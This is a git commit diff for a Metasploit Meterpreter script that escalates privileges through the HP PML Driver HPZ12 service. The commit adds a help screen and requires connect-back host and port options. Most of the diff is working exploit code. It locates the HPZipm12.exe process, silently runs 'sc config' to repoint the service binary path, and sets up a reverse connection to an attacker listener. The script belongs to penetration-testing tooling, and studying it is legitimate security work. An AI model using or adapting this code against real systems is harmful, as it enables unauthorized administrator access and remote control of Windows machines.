HP PML Driver ~ Added help screen by default

unstable
g0tmi1k 2013-07-03 14:41:23 +01:00
parent 67f30a6828
commit 92edf79ea5
1 changed files with 22 additions and 19 deletions

View File

@ -1,5 +1,3 @@
# $Id$
# $Revision$
## ##
# This file is part of the Metasploit Framework and may be subject to # This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit # redistribution and commercial restrictions. Please see the Metasploit
@ -23,34 +21,40 @@
# #
# Options # Options
# #
opts = Rex::Parser::Arguments.new( @exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu"], "-h" => [ false, "This help menu" ],
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], "-r" => [ true, "The IP of the system running Metasploit listening for the connect back" ],
"-p" => [ true, "The port on the remote host where Metasploit is listening"] "-p" => [ true, "The port on the remote host where Metasploit is listening" ]
) )
# #
# Default parameters # Default parameters
# #
rhost = nil
rport = nil
rhost = Rex::Socket.source_address("1.2.3.4") def usage
rport = 4444 print_status("HP PML Driver HPZ12 SERVICE_CHANGE_CONFIG privilege escalation.")
print_line(@exec_opts.usage)
raise Rex::Script::Completed
end
# #
# Option parsing # Option parsing
# #
opts.parse(args) do |opt, idx, val| opts.parse(args) do |opt, idx, val|
case opt case opt
when "-h" when "-r"
print_status("HP PML Driver HPZ12 SERVICE_CHANGE_CONFIG privilege escalation.") rhost = val
print_line(opts.usage) when "-p"
raise Rex::Script::Completed rport = val.to_i
when "-r" else
rhost = val usage
when "-p" end
rport = val.to_i
end
end end
if rhost.nil? or rport.nil?
usage
if client.platform =~ /win32|win64/ if client.platform =~ /win32|win64/
client.sys.process.get_processes().each do |m| client.sys.process.get_processes().each do |m|
if ( m['name'] =~ /HPZipm12\.exe/ ) if ( m['name'] =~ /HPZipm12\.exe/ )
@ -96,10 +100,9 @@ if client.platform =~ /win32|win64/
) )
client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= %SystemRoot%\\system32\\HPZipm12.exe", nil, {'Hidden' => 'true'}) client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= %SystemRoot%\\system32\\HPZipm12.exe", nil, {'Hidden' => 'true'})
end end
end end
else else
print_error("This version of Meterpreter is not supported with this Script!") print_error("This version of Meterpreter is not supported with this script!")
raise Rex::Script::Completed raise Rex::Script::Completed
end end